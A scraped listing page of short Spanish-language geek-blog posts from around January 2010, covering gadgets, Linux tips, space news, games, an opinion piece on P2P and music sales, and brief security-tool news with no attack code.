• The Pains of Being Pure at Heart + The Parallelograms split, 7″ (Atomic Beat - 2008).
• This Love is Fucking Right!, 3″ cd-r (Cloudberry 13).

Para comprar su música desde iTunes pulsa aquí.

Web oficial del grupo:

Los diseños de camiseta más divertidos de la …

Una tanda de camisetas muy divertidas, ácidas y geeks. Catalogado, por los de abduzeedo, como las mejores de la década. Algunas de la página original ni las entiendo.

Aquí todas las camisetas: abduzeedo.com

Visto en ateneupopular.com

Te voy a explicar cómo funciona esto

El texto de esta entrada es una copia íntegra de un comentario hecho por uno de los usuarios (Andy) en la web de kriptópolis a raíz de esta entrada. Me ha parecido una forma genial de describir la situación actual de las redes p2p y todo el asunto de las descargas, la SGAE, etc. El texto no tiene desperdicio.

Enviado por Andy el 11. Enero 2010 - 23:17.

Imagina que vendes un producto masivo. Pongamos una conocida marca de refresco. Tú eres de márketing y tu misión es hacer que se venda más, ya sea llegando a otros mercados o erosionando mercado a la competencia. Tú has estudiado y todo eso, pero en realidad no tienes mucha idea de cómo se comportan los mercados ya que pueden ser impredecibles. Es como una caja negra.

Un día decides probar una nueva estrategia, por ejemplo, imprimir un número en el interior de la tapa de tu refresco y premiar el 10% de los mismos. A la semana de lanzar la campaña la fábrica está trabajando a doble turno y las ventas han subido un 40%. Has manipulado la caja negra y has medido los resultados. Los mismos son excelentes. ¿Qué harás la próxima vez? No es muy difícil de imaginar. No se abandona una estrategia ganadora.

El mercado de la música también es una caja negra. Lo que pasa es que no lo vemos porque no podemos medir los resultados. Eso sólo lo pueden hacer las discográficas… y también luego pueden decir otra cosa.

Lo cierto es que con las redes P2P pasa una cosa curiosa: cuando más se comparte, más se vende por la vía “tradicional”. Las ventas en números totales aumentaron desde que todo se puede conseguir por Internet.

¿Alguien sabe porqué?

Las redes P2P funcionan como una radio, son un elemento propagandístico que difunde las obras de cientos y miles de artistas poco conocidos. Es inevitable que muchos de los que tienen la oportunidad de escucharlos terminen comprando el disco o yendo a sus conciertos. Si no fuera por Internet, esa gente no los conocería ni gastaría su dinero en ellos.

Ahora bién, a los artistas cuyo éxito sobrepasa una “masa crítica” en realidad los perjudica. SUS discos (o mp3) se venden menos porque no necesitan el efecto propagandístico obtenido por compartir música por P2P. La gente ya los conoce de sobra, y habrá quien NO compre sus discos porque los consigue por Internet. Pero como hay muchos más artistas desconocidos vendiendo más que artistas de éxito vendiendo menos, al final el balance es positivo. Yo diría que MUY positivo. Quedamos en que las ventas totales aumentaron. Más pasta para las distribuidoras. Todos contentos.

Pero los artistas de éxito se quejaron. Y éstos son peces gordos a los que no se puede ignorar. Esta es la parte donde las distribuidoras manipularon la caja negra. Bienvenidos al caso Napster.

El cierre de Napster tuvo 2 efectos: las ventas volvieron a aumentar y la gente compartió MAS que antes.

Después de rascarse la cabeza y analizar el caso detenidamente las distribuidoras (que no son idiotas y tienen gente muy capaz, como pasa en todos lados) llegaron a unas conclusiones muy claras: el mercado es grande. Meter miedo a la gente hace que muchos que antes no compraban (pero que ya conocían a los artistas por P2P) ahora compren. Y por otro lado más P2P significa más difusión (y gratis!!!) por lo tanto llegar a más gente.

Son las 2 formas clásicas de aumentar las ventas: llegar a otros mercados inexplorados (a sabiendas que hagas lo que hagas la gente seguirá compartiendo) y erosionar a “la competencia” (en éste caso el P2P mediante la estrategia del miedo). El P2P hace que la música llegue a mucha más gente. Una vez que la gente ya conoce a los artistas se mete miedo a base de ostias y parte de esa gente pasa a comprar.

Nótese aquí en el P2P es el grán aliado de la industria. Ni por asomo se atreverían a suprimirlo de verdad, ya que perderían una herramienta de difusión valiosísima y gratuita para ellos. Pero de alguna manera tienen que meter miedo a la gente y han visto que criminalizar las descargas funciona. No tenemos forma de medir los resultados de la caja negra y ellos lo saben, así que se manipulan las cifras para aparentar grandes pérdidas por causa del P2P. Al mismo tiempo no van a por todas, sólo algunos juicios ejemplares para salir en los periódicos y en los telediarios y asustar a la gente.

Pues así es como funciona. Sin necesidad de conspiraciones internacionales ni agentes en las sombras moviendo los hilos de lejanos gobiernos. Sólo puro márqueting y ansias de recaudar cada vez más.

Un saludo, Andy

Arte en los tubos de cartón del papel higiénico

Uf menos mal, no podía vivir sin buscarle alguna utilidad a los esos malditos tubos de cartón que aparecen siempre que se termina el papel higiénico ;)

Al parecer la artista Anastassia Elias construye dioramas en su interior, usando papel del mismo color para crear escenas tridimensionales.

La próxima vez que vayas a tirar uno de estos tubos de cartón, mira antes en su interior por si acaso ... ;)

El fotógrafo Nick Brandt

© 2010 Nick Brandt. All Rights Reserved ®. Todas las fotografías expuestas en este artículo tienen los derechos reservados de sus respectivos propietarios.

Aunque es un fotógrafo con un corto recorrido, comenzó en el año 2000, sus fotografías ya han dado la vuelta al mundo. Está considerado como uno de los mejores en su especialidad: fotografía animal. Sus fotografías recuerdan a la época del romanticismo pictórico, incluso algunas, parecen auténticos retratos. Da la impresión de que los animales están adoptando la pose que el fotógrafo les indica. Es embaucador porque retrata un viaje a tus raíces pasando por el alma de cada uno de los fotografiados.

Seguridad Web ¿eres parte del problema?

La empresa Cenzic ha elaborado un completo informe detallando las amenazas y los números relacionados con la seguridad Web en 2009. Puedes descargar todo el documento en PDF desde aquí.

Voy a intentar hacer un pequeño resúmen con lo más interesante de este fantástico artículo de Smashing Magazine. Voy a mantener en inglés el nombre de los ataques para evitar confusiones, ya que es su terminología habitual.

Lo primero es saber que significa URI: Uniform Resource Identifier. Es la forma en la que introduces la ruta de un fichero en una URL en tu navegador, por ejemplo: 

¿Somos lo que comemos?

En el siguiente vídeo que os dejo a continuación, podéis ver 2 dos señoras, no, ¡no es porno! mostrando un happy meal (la comida para niños del McDonald) que tiene ¡4 años! Tanto la hamburguesa, como el pan y las patatas fritas. Según se puede ver y escuchar las patatas todavía están grasientas y ni el pan ni la hamburguesa tienen moho, comida sin conservantes y yo que sé que más, claro. La señora de la derecha también muestra el estado de una patata con 3 meses de antigüedad para que se vea la diferencia.

El Señor de los Anillos, en Blu-Ray

Leo en ZonaFandom que por fin sale al mercado la trilogía completa en alta definición que costará en España 64,95€ y saldrá en abril. Eso sí, no son las extendidas, para eso posiblemente tengamos que esperar un poco más.

Más moda Geek...

PARA CHICAS…

Estas cucarachas (argot electrónico) las podéis comprar en etsy.com por $4.50. Creo que un peinado y un tinte, a esta modelo de pendientes, no le vendrían nada mal...

Medias Space Invaders en 4 tallas distintas. Para comprar: blackmilkclothing.com El problema es el precio: $80... pero antes muerta que sencilla.

Vistos en nopuedocreer.com

PARA ELLOS...

Reloj Nooka, modelo Zot-V, el último grito en relojes geek. Instrucciones:

Hoy, el eclipse de Sol anular más largo del …

Hoy, viernes 15 de Enero, tendrá lugar el eclipse de Sol anular más largo de los próximos mil años. El recorrido total de este fenómeno durará  3 horas y 45 minutos, y abarcará unos 12.900 kilómetros. Será visible solamente desde el 0,87 por ciento de la superficie de la Tierra. En España no podrá verse este eclipse.

Visto en neoteo.com

Convertir una partición Ext3 a Ext4 en Ubuntu 9.10

Si tienes alguna partición en algunos de tus discos duros que sea del tipo ext3 y la quieras convertir a ext4 y así usar las mejoras y novedades que este sistema ofrece, sigue estos pasos: Nota: como ejemplo vamos a tomar /dev/sda2, aquí debes usar la unidad que corresponda en tu caso.

• Asegúrate que la partición está desmontada. umount es tu amigo.
• Ahora vamos a asegurarnos también de que la partición no está corrupta.

fsck.ext3 -pf /dev/sda2

Guía de iniciación a la ingeniería inversa de …

En el foro dedicado a Linux de reverse-engineering.net han empezado un hilo que pretende ser una guía de iniciación a la ingeniería inversa de código en entornos Linux.

El contenido de dicho hilo tiene bastante buena información sobre herramientas, tutoriales, cursos, etc.

Por ejemplo, no conocía que IDA Pro había sacado una versión para Linux. Incluso han incluido algunos enlaces para OS X, para aquellos despistados OS X corre sobre un núcleo BSD.

Immunity Debugger 1.74

Se acaba de publicar una nueva versión de este gran depurador. Tiene una interfaz muy limpia y tiene una pinta muy parecida al archiconocido Ollydbg.

Entre sus características se encuentran:

• Consumo mínimo de recursos.
• Extensible con scripts en python.
• Conectable a herramientas de fuzzying o de explotación automáticas.
• Comandos remotos.
• Generación gráfica de las funciones del fichero que estamos depurando. …

También han cuidado la transición para aquellos usuarios que vienen de otros depuradores como WinDBG o GDB, implementando aliases de forma que los comandos tengan el mismo significado.

A slow year, nuevo juego para ATARI 2600

Pues sí este juego llamado "A Slow Year" (que podemos decir que se encuentra en la "escena Indie" de los juegos) está programado para la consola Atari 2600 (la versión PC y Mac se ejecuta con un emulador). Es una colección de cuatro, uno por cada estación del año, y según nos comenta el autor "se basan en la experiencia de observar cosas". No son ni de estrategia ni de acción, cada uno de ellos requiere de observación y acciones muy metódicas.

30 fotos espectaculares de larga exposición a …

Alguna de estas fotos de larga exposición seguro que te sirve para fondo de pantalla.

Espectaculares, para verlas todas:

Theroxor

Backtrack 4 Final

Ya en su día anunciamos en Cyberhades la salida de Backtrack 4 Beta, pues hoy os anunciamos que ya está la versión final. Está disponible como ISO o como imagen para VMWare.

A descargar se dijo.

HITB Ezine

HITB es una nueva revista creada por los chicos de Hack In The Box. Este mismo grupo ya empezó en su día a publicar un ezine mensual, pero que por falta de tiempo tuvieron que dejar. Y ahora han vuelto de nuevo con esta nueva serie llamada HITB Ezine Reloaded.

El contenido de este primer número (PDF) es muy jugoso:

• Inyección de código en LDAP. Ataque y defensa.
• Detección de excepciones en Windows.
• El arte de inyectar código en DLLs.
• Xprobe2-NG. Herramienta de recolección de información en redes.
• Ofuscación de malware. Trucos y trampas.
• Reconstruyendo aplicaciones DALVIK usando UNDX.

Happy reading!

Ubuntu Tweak 0.5.0

Ubuntu Tweak 0.5.0 ha visto la luz esta semana. Esta herramienta te permite configurar tu Ubuntu de una forma más fácil y amigable. Si eres usuario novato de Ubuntu y especialmente si vienes de Windows, esta utilidad te resultará muy amena a la hora de, como dije, configurar y personalizar tu sistema.

Estas son algunas de las características en esta nueva versión:

• Centro de aplicaciones. Desde el cual podemos instalar y desinstalar aplicaciones a golpe de ratón.
• Centro de código fuente. Repositorios de código fuente ajenos a Ubuntu.
• Nuevo administración de actualizaciones.
• Indicador de sesión.

En esta versión también han dejado de dar soporte a Ubuntu 9.04, por lo tanto la única que versión que soportan ahora mismo es la 9.10, aunque según se puede leer en el blog oficial, pronto añadirán soporte para la 10.04

La Ley de las descargas para torpes

Visto en: http://www.makarras.org

Otra mecedora geek

Ya hace tiempo vimos este vídeo, donde veíamos como usando un cd y un pequeño script mecía a un bebé. Pues aquí os dejo otra idea, para aquellos que no tienen un PC en casa o cerca de la sillita del bebé, usando un taladro.

Intentando escuchar a la Phoenix de nuevo

El recuadro verde marca la situación de la Phoenix (click sobre la imágen para ver un zoom de la zona)

La sonda Odyssey que orbita el planeta Marte, está lista para escuchar cualquier señal procedente de nuestra vieja amiga la sonda Phoenix, la cual ha estado en silencio (modo Lázaro) aguantando el frío marciano desde Noviembre de 2008.

El equipo de la Phoenix no es muy optimista pero creen que hay alguna probabilidad que recibamos alguna señal.

El teléfono "irrompible" que se rompió

Hace poco colgaba un artículo de los 10 mejores móviles "todoterreno" en los que se hacía pasar canutas a uno de ellos, golpes, agua, fuego... Atentos al video porque veréis como se rompe uno de la forma más tonta.

El problema es que está "en directo".

Visto en bbc.co.uk

Nexus One, tocado y hundido en menos de una semana

Pues eso, en menos de una semana el flamante juguete del todo poderoso sabio, ha sido desbloqueado, lo que te permite acceder como root al sistema y por lo tanto controlar el terminal al 100%.

En esta entrada de Android And Me, no sólo lo explican paso a paso, sino que también han colgado un vídeo dónde puedes ver el proceso completo y que a continuación os dejo aquí.

ChromiumOS Zero, Google Chrome OS en un pendrive

ChromiumOS Zero es una distribución creada por Hexxeh nuevo sistema operativo de Google (aún por llegar de forma definitiva) que se instala en un pendrive. En uno de 1GB no tienes problemas para instalarlo y puedes actualizarlo automáticamente o por torrents.

Funciona en cualquier equipo que no sea un Mac.

De paso aquí tienes otra guía completa para instalar desde cero el Chrome OS en un pendrive.

Web para descargarlo de forma grauita:

Idioma na'vi

Extracto de la wikipedia:

El idioma Na’vi es una lengua artística hablada por los indígenas del pueblo Na’vi, habitantes de la luna ficticia Pandora, que aparece en la película Avatar de James Cameron. Fue creado por Paul Frommer, profesor del USC Marshall School of Business con doctorado en lingüística, desde el 2005^[3] cuando Cameron se lo propuso. El idioma Na’vi fue diseñado para adecuarse a la pretensión del director, James Cameron, de que fuera pronunciable por los actores que dan vida a los personajes de la película pero que, al mismo tiempo, tuviera ciertos matices que le diferenciaran de las lenguas existentes.^[4]

iPhone Graffiti

Esto si es hacer grafitos a lo geek y además de forma ecológica y sin dañar las paredes. :-)

Visto aquí.

El mapa más pequeño del mundo

Mide 40 micrometros de ancho, más o menos la mitad de un cabello humano y es puramente decorativo.

Está insertado en un chip creado por Photonics Research Group, en Bélgica.

Visto en Neatrorama.

Los mejores "fails" del 2009

Te vas a reir un rato viendo esta colección de los “fails” (cagadas) de 2009, algunos duelen sólo con verlos …

Visto en GeeksAreSexy.

Perfume geek

Haciendo overcloking extremo también se puede  llegar a oler ese penetrante perfume… :-)

Buena definición de Geek

"Una persona que ha elegido la observación en lugar del conformismo; alguien que persigue la habilidad (especialmente la técnica) y la imaginación, en lugar de la aceptación social de la mayoría."

El término parece proceder del bajo alemán ‘geck’ (tonto). Sin embargo a principios del siglo pasado era utilizado para referirse a los fenómenos de circo, personas cuyo espectáculo consistía, por ejemplo, en arrancar la cabeza de un pollo vivo de un mordisco. Es similar a "friki" pero ésta, hasta hace muy poco, se consideraba despectiva.

Fotos de oficinas de empresas de tecnología

Oficinas de Apple en Cupertino.

Oficinas de Twitter

Oficinas de Google (EEUU) y Oficinas en Suecia.

Oficinas de Microsoft Startup Labs

Oficinas de Softonic

Oficinas nuevas de Facebook

Un paseo por la casa LEGO

 

Un tour por esta casa hecha completamente de piezas de LEGO. Algunos datos, los ladrillos grandes de las paredes (unos 2.000) están hechos a su vez 272 piezas más pequeñas (el ladrillo estándar), los grifos tienen agua de verdad, y mucho más en:

TheFireWire.

Video de "Romance de Juan de Osuna", Los Planetas

 

Espectacular video (que nos recomendó ayer nuestro colega Grooveorfeo) del grupo granadino  "Los Planetas" para su nueva canción "Romance de Juan de Osuna" del nuevo EP "Cuatro Palos". El video está creado por el artista Javier Longobardo y tiene una estética ochentera con gráficos vectoriales (tipo Tron) realmente espectacular.

Puedes ver el video sólo en la Web (pulsa en la imágen o en el enlace de abajo para verlo):

Portátil con pantalla transparente

Samsung ha presentado en el Consumer Electronics Show un prototipo de portátil de 14" con pantalla transparente. Me pregunto como de cómodo será programar con una pantalla como esa, tienes que acabar mareado.

Dispensador de fichas de dominó hecho con Legos

Impresionante el vídeo, del robot hecho con Legos que va colocando las fichas de dominó para crear un serpentín.

Ajedrez para ZX-81 en ¡1K de memoria!

El autor de esta entrada, como él mismo cuenta ha escaneado, de la revista "Your computer" que data de Febrero de 1983 un artículo, en el que David Horne publica el código y su explicación de un completo juego de ajedrez para una máquina ZX-81 con 1 único K de memoria RAM, el cual estoy seguro que no tenías disponible el K completo para tus programas. WOW!! Esto sí es programar y entender la arquitectura de una máquina.

Tal y como explica en el artículo, el programa fue escrito en una máquina con 3K de memoria RAM, pero lo hizo funcionar en una máquina con 1K.

Descifrando el ordenador más antiguo, la Máquina …

 

Imágen de Rayos X de la maquinaria

La Máquina de Anticitera es un mecanismo de engranajes que se encontró en los restos hundidos de un barco romano en Anticitera, una isla entre Citera y Creta. Estudiando los restos del barco y la oxidación del metal , se cree que el mecanismo data entre el año 150 A.C. ó el 100 A.C.

Lo curioso es que esos engranajes eran diferenciales, y los primeros engranajes de ese tipo no se vieron hasta bien entrado el siglo XVI, o sea, más de 1.500 años después de la construcción de la máquina. Por esto llaman a la Máquina de Anticitera, oopart (objeto fuera de su tiempo).

5 formas distintas de usar un preservativo

Lo puedes usar:

• Para salvarte la vida, haciendo fuego.
• Juguete para el gato.
• Protección impermeable para móviles.
• Hacer un arma.
• Flotador iluminado.

Mejor que veáis el vídeo

El juego de las 100 magdalenas

Aunque también lo podría haber titulado: 100 magdalenas geek. En fin, lo que os traigo en este post es una página donde tienes 100 fotos de 100 magdalenas, cada una decorada con distintos dibujos y al lado de cada magdalena un signo de interrogación "?". La idea es, antes de pasar el ratón por encima de la interrogación, adivinar el motivo de la misma.

Desde aquí pueden acceder ustedes mismos.

Suska

Suska es un proyecto de código abierto que emula por hardware un Atari ST usando una FPGA. Actualmente emula al 100% la mayoría de los chips principales de Atari ST. Todo el código está escrito en VHDL, incluso el micro 68000 de Motorola ha sido integrado en dicha FPGA.

Desde la web del proyecto podéis seguir la evolución del mismo. Y si eres un nostálgico del Atari, también te puedes comprar una placa completa ya montada.

El cine de terror y su influencia en los …

Mi gran amigo y maestro, José María Villalobos (Villa para los amigos), estuvo en el FIVED 2009 como conferenciante en Noviembre. Dicha charla se llamaba como este post  y es realmente MAGISTRAL. 

En el tiempo que tardas en leerlo, recibes toda una lección de videojuegos y de cine a la vez. Sabrás por ejemplo, qué es el espectador huérfano en el cine y los videojuegos o qué relación puede tener una película de 1920 con el mismísimo Mario ;) ... espectacular.

Un AT-AT por dentro ...

Visto en la fantástica io9.

Consollection, todas las consolas de la Historia

Todas las consolas que han salido al mercado en un mural, desde la Odissey hasta la Wii. Si pulsas en una de ellas aparecerá una pequeña ficha con alguna información.

Pincha en la imágen o en Consollection.

Parrot AR.Drone

El Parrot AR.Drone es un helicóptero teledirigido por WiFI y que además incorpora 2 cámaras. Aquí no queda todo, está controlado por un iPhone. Aquí os dejo un vídeo del aparato funcionando. Me recordó la película de Avatar.

http://ardrone.parrot.com/parrot-ar-drone/

Dino Run

Divertido juego con estética ochentera (pixels gordos) donde tienes que salvar a un dinosaurio de la extinción corriendo todo lo que puedas.

Puedes jugar solo o en multiplayer, esta última es la más divertida.

Para jugar, pulsa aquí o en la imágen.

Visto en http://blogs.moratilla.com/

Pong real

Visto en GeeksAreSexy.

Crea tu propio proyector

http://www.tomshardware.com/

Light Touch: proyector color pantalla táctil de …

Es un proyector láser que convierte cualquier superficie en una pantalla táctil de 10" a todo color. Ejecuta Adobe Flash Lite 3.1 e incluye WiFi y Bluetooth, 2GB de almacenamiento en placa (lleva una microSD también) y una batería de 2 horas de autonomía. El sistema de reconocimiento táctil es por infrarrojos.

Visto en Engadget.

Feliz falsedad

Hola amiguetes. Feliz Año Nuevo y esas cosas.

Como regalo de reyes os traigo una bonita estampa de la cultura/educación de las personas que viven en territorio nacional. El artículo me parece tan bueno que lo posteo medio-entero si queréis seguir leyendo andando a su página (blog Perdido en el desierto). Tiene más razón que un santo:

Y la cosa no cambia. Seguimos siendo igual de pobres e igual de miserables. Igual de ratas, de usureros, de tacaños y de rastreros. Y con la crisis como excusa es que no nos llega ni para pipas, pero el tema es el mismo, que somos unos desgraciados.

Interfaz controlado por músculos

En este vídeo podéis ver acción dicho interfaz.

La silla de masajes y la trampa de agua caliente …

Madre mía, no he podido de parar de reir en un rato, no os perdáis el primero  de los videos hasta el final.

Vamos a empezar el Día de Reyes con unas cuantas sonrisas:

La silla de masaje con y sin cohetes …

Una de las bromas más curradas que he visto nunca XD

La trampilla con agua caliente …

Visto en NeatOrama.

El Nexus One ya es oficial

Como todo apuntaba, la rueda prensa que Google había convocado para hoy era para la presentación oficial del Nexus One. Ya puedes visitar la página oficial, dónde puedes ver las características oficiales del terminal, así como su precio, 529 dólares o 179 si firmas un contrato con T-Mobile.

Aquí os dejo algunas de las características que no se conocían, o al menos yo no las conocía.

• Sensor de cercanía.
• Doble micrófono para anular el ruido.
• Bluetooth stereo.
• Linterna LED.
• Sensor de luz.
• Acelerómetro.
• Brújula digital. Aquí podéis ver el resto.

¿Será este el verdadero iPhone killer?

The Fibonacci in Lateralus

Impresionante canción escrita siguiendo la secuencia de Fibonacci. Mira el vídeo, te van poniendo la letra y explicando la concordancia. Ademas tiene algunas expresiones muy profundas.

Reserva tu Nexus One... si tienes dinero

Hoy es el día de la rueda de prensa en la que apunta que Google hará oficial la llegada de su teléfono del que ya hablamos aquí y aquí, aunque dicha conferencia no ha tenido lugar todavía, en la página del fabricante del mismo ya puedes reservar tu terminal. Eso sí, un poco caro para mi gusto, 600 dólares. Aunque tiene algo que me ha llamado la atención y es la frecuencia a la que trabaja el 3G, que sería compatible con las redes de T'-Mobile y AT&T en EEUU. Cosa que ninguno de los terminales anteriores de HTC proveían. También podéis ver las características finales del terminal en la misma página.

Fuente original.

Autopost para Wordpress

autopost.u4t.in es un servicio de autopost para Wordpress. Este servicio lo que te permite es crear entradas automáticas en tu blog (wordpress) a partir de un feed RSS.

Lo primero que tienes que hacer es activar xmlrpc en tu blog y luego desde aquí puedes meter los datos del feed y los datos de tu blog. De esta forma el servicio publicará automáticamente en tu blog las entradas extraídas del RSS.

Espectacular imágen revela la evidencia de lagos …

Antes de nada fijáos en esta foto, donde se pueden ver los lagos:

Y ahora en esta, se puede ver perfectamente un canal que une los dos lagos:

Por lo tanto, Marte tenía una atmósfera lo bastante cálida como para mantener agua líquida y llenar lagos y ríos. Esto fue hace unos tres mil millones de años, luego se volvió frío y seco tal y como podemos verlo hoy. Los científicos han llegado a esta conclusión gracias a las fotos realizadas por la sonda Mars Reconnaissance Orbiter y comparándola con regiones en la Tierra como Alaska y Siberia.

PSPGo, su diseño y el mercado de segunda mano

 

He visto este video en Nilart.com que ya lleva tiempo por la red pero no lo había visto que explica perfectamente la frustración de algunos compradores de la nueva consola de Sony.

Es increible que la PSPGo no admita los UMD de la anterior versión ... la apuesta por la descarga no le está saliendo bien a Sony. Sólo puedes bajarte juegos comprados en la web de Sony, esto rompe uno de los mercados que realmente todos los que tenemos consolas usamos, el de segunda mano.

Tuper Tario Tros

Tuper Tario Tros es un juego hecho en flash, por lo tanto podéis jugar desde el navegador. Es una mezcla entre Super Mario Bros y Tetris. Muy simpático.

Por cierto la ‘x’ o la ’s’ para saltar.

Averigua si un juego correrá bien en tu equipo

En  Can You Run It? podrás enterarte si un juego podría ir bien en tu equipo. Ya no hace falta que pases dos horas instalando el  bioshock, por ejemplo, y después ver que no rula. Funciona mediante un applet de Java que recopila información técnica de nuestro equipo, ya sea de hardware y software, que permitirá hacer el análisis para saber si un juego correrá o no.

Diseño de escritorios y oficinas para geeks

Si quieres renovar tu espacio de trabajo en casa o en la oficina, en LifeHacker han creado una cuenta en Flickr donde sus lectores van subiendo fotos de sus despacho, escritorios, muebles, etc ... todo orientado a un buen diseño para el programador, diseñador, jugador, etc ...

Hay muchos ejemplos que merece la pena ver sobre todo para sacar algunas ideas para casa.

Toda la galería en:

Lifehacker Workspace Show and Tell

Steve Jobs, su historia (junto a la de Apple …

Steve Jobs es un genio, ha sido él quien ha conseguido hacer renacer Apple y crear su gran estilo y diseño, pero Steve Wozniak es el verdadero genio hacker detrás de la historia de Apple.

Instalando un Cluster Beowulf usando Open MPI en …

Linux

Un cluster es un grupo de ordenadores que actúan como si fueran uno solo, pero sumando su poder de proceso. Se conectan por red local y se pueden usar para múltiples funciones de supercomputación para ingeniería, comercio, etc ... O simplemente si tienes equipos un poco viejos y quieres darle una nueva vida creando un cluster con ellos, este tutorial te ayudará a montarlo.

Un cluster Beowulf (parecido al que usa la NASA) consiste en un número de ordenadores conectados por red para procesamiento en paralelo. Todos tienen Linux o BSD, a menudo usando librerías PVM o MPI (en este caso Open MPI).

Crea tu DVD de Windows 7 genérico

En los tiempos de Windows XP, para cada edición de dicho sistema tenias distintos CDs. Con la llegada de Windows Vista, la cosa cambió a tener un DVD con todas las ediciones y dependiendo de tu clave de registro, se instalaba la edición correspondiente.

Parece que a Microsoft no le dio muy buen resultado esa estrategia y con la salida del nuevo Windows 7 ha vuelto a distribuir las distintas ediciones en distintos CDs o DVDs.

La máquina más inútil

Visto en HackADay.

La persona más paciente, esperando Duke Nukem …

Lo de "Forever" del Duke Nukem parece más literal que nunca para este posible comprador. Ya se sabe que de momento no hay fecha de salida para esta nueva entrega de la gran saga Duke Nukem.

Pues este hombre tan panciente tiene un recibo donde ha pagado por la reserva del juego en las tiendas GameStop, esto fue en 2001... (haz click aquí para ver mejor el recibo).

Visto en OhGizmo.

Las aventuras de Clutch Powers

The Adventures of Clutch Powers es la primera película hecha con Legos que será lanzada en DVD. La fecha de lanzamiento es el 23 de Febrero. Esta producida por Univesal Studios y tiene una duración de 83 minutos. Aunque como ya dije todavía no se ha lanzado, ya puedes reservarla desde Amazon.

Fuente original.

Voy a usar sangre en vez de tinta de impresora, es …

No es nuevo hablar sobre el abusivo e increible precio de la tinta de impresora hoy en día, pero nunca está de más denunciarlo. A veces es más rentable tirarla y comprarte otra antes de reponer los cartuchos. Y lo más increible, algunos tienen hasta fecha de caducidad que en encima nos venden como control para evitar que se puedan averiar los cabezales.

Y hoy en 2010, la cosa no cambia.

El día a día del 26C3 por FuTuR3

FuTuR3 de la tripulación de El Geek Errante ha estado de nuevo en la 26C3 del CCC desarrollada en Berlín.

En estos enlaces a su blog nos cuenta el día a día en primera persona todas sus experiencias. Una buena oportunidad para echar un vistazo cercano a la mejor reunión de hacking de Europa:

Día 1

Día 2

Día 3

Día 4

Gracias por la información FuTuR3.

Los 50 mejores tutoriales de Photoshop en 2009

Ya hemos hablado antes sobre algunos tutoriales espectaculares para Photoshop. En Six Revisions nos presentan 50 que consideran los mejores de 2009, y realmente son increibles. Desde crear efectos tan extraños como pintura arrojada sobre una cara, hasta manipular objetos y efectos reales (como el humo), manipulación 3D, crear escenas del espacio, etc ...

Todos son impresionantes, si te gusta la fotografía y el diseño gráfico, no puedes perdérterlos.

Nexus One, vídeos

Todo apunta a que el 5 de Enero, Google dará el pistoletazo de salida oficial para el ya conocido Nexus One, del que ya hablamos en su día en Cyberhades. Si tienes pensado en hacerte con uno o simplemente quieres verlo en acción aquí os dejo un par de vídeos. El primero es una impresionante demostración del poder de este terminal y del nuevo Android 2.1, es un vídeo 3D, que como verás no tiene desperdicio. El segundo es un tour por el sistema operativo. Y como también verás la velocidad con la que responde el teléfono a los eventos del usuario es igualmente impresionante.

Gimnasia para empezar el año

El deporte favorito de más de uno es el levantamiento de vidreo en barra fija, especialmente en noches como la de ayer, claro después llegan las resacas agujetas.

Que mejor forma de empezar el año, por lo menos viendo un poco de gimnasia, para ir calentando. Sólo espero que lo hagas un poco mejor que el robot.

40.000 procesadores y 104 terabytes de memoria …

Nuestro gran amigo Pellejo nos ha enviado este enlace donde se explica esta barbaridad de supercomputación para crear la famosa película Avatar creado por la empresa Weta Digital.

4253 servidores HP Proliant BL2x220c Blade con GNU/Linux.

Toda la información en LaZonaLinux.

Enlace original Avatar Processing.

Enigma, T52D, Typex y un cohete V2

Interior de un cohete V2

Aprovechando mi reciente viaje a Londres, me acerqué al Imperial War Museum (visita obligada para todo buen geek) para hacerme algunas fotos junto a una Enigma, una T52D una Typex e incluso un V2.

En la segunda planta hay una completa muestra llamada “Secret War” que merece la pena ir a ver si te gusta todo el tema del espionaje.

Ya podré algunas más en la galería del blog.

¡¡¡FELIZ AÑO NUEVO!!!

El equipo de Cyberhades os desea felices fiestas y próspero año 2010

Las anomalías más misteriosas de Marte

Todas tienen seguro una explicación científica, pero son bastante curiosas estas fotos del planeta Marte. Desde las fotos en las que aparecen estructuras parecidas a las Pirámides, hasta los túneles de cristal en About.com nos muestran algunas de las fotos (16) más curiosas.

Ya hemos hablado en Cyberhades antes sobre algunas fotos extrañas.

Repito tienen explicación científica, nos gusta la Ciencia, , son sólo una curiosidad.

De PHP a .EXE

Bambalam es un compilador de código PHP a un ejecutable de windows, de manera que puedes ejecutar código PHP en tu escritorio sin necesidad de tener instalado el intérprete de PHP. Este compilador no es nada nuevo, fecha del 2006 y ni yo programo en PHP desde hace muuuucho tiempo, pero me pareció interesante para aquellos que desarrollan en ese lenguaje.

Según la página oficial de esta aplicación, la conversión la hace apoyándose en la librería Turck MMCache for PHP. Otra nota es que esta aplicación no es un compilador real, aunque yo lo haya definido como compilador.

Ora, el reloj más extraño del mundo

Está diseñado por Alexandros Stasinopoulos y es solo conceptual pero orientado a la venta.

Visto en abadiadigital.com

Generación de laberintos a partir de una imagen

Eso es lo que hace el algoritmos que he encontrado en esta página. Está muy curioso y a ver quien tiene co..nes tiempo de encontrar el camino en el laberinto del Tux.

En la página podréis encontrar también más información sobre la generación de laberintos, así como el código fuente.

Fondo de armario de Mario

Parece que solo falta el traje de abeja de Super Mario Galaxy. Según la wikipedia Mario ha estado en más de 200 videojuegos.

Visto en puntogeek.com

All you need is love, desde 156 países

El 7 de Diciembre de 2009 a las 1:30 GMT 156 países se unieron para cantar juntos exactamente al mismo tiempo  “All you need is love"  para avisar sobre el aumento de SIDA en África.

Realmente emocionante…

Visto en TheFireWire.

La revista oficial de World Of Warcraft

Ya está a punto de salir, serán cuatro números anuales a un precio aproximado de 34,95€ (suscripción anual). Serán 148 páginas libres de anuncios con arte conceptual de Blizzard, ya que al final colaboran directamente en la publicación.

Lo mejor, estará en castellano.

Echa un vistazo a su interior aquí.

Web oficial:

WorldOfWarcraft Magazine

Desde luego sólo por los gráficos merece la pena, esperemos que el contenido también sea interesante para los jugadores de WOW.

Foto de la Vía Láctea (otra)

Click sobre la foto para ampliar

Cybercaronte publicaba un artículo, en enero, con una foto de la Vía Láctea realizada desde la Tierra pero había algún que otro incrédulo que decía que eso no era posible. Aquí va la segunda, también impresionante. Hay que tener en cuenta que no han existido jamás cámaras fotográficas de tanto nivel como las de ahora. En las condiciones atmosféricas apropiadas y filmando con cámaras de ISO's brutales no es de extrañar conseguir fotografías así.

Los 20 mejores libros de Sci Fi de la década

io9, una de las mejores webs de difusión cultural, ha creado la lista de los mejores libros de ciencia ficción que se han creado en esta década.

• Acacia: The War with the Mein, by David Durham (Doubleday)
• Air, Or Have Not Have, by Geoff Ryman (Gollancz)
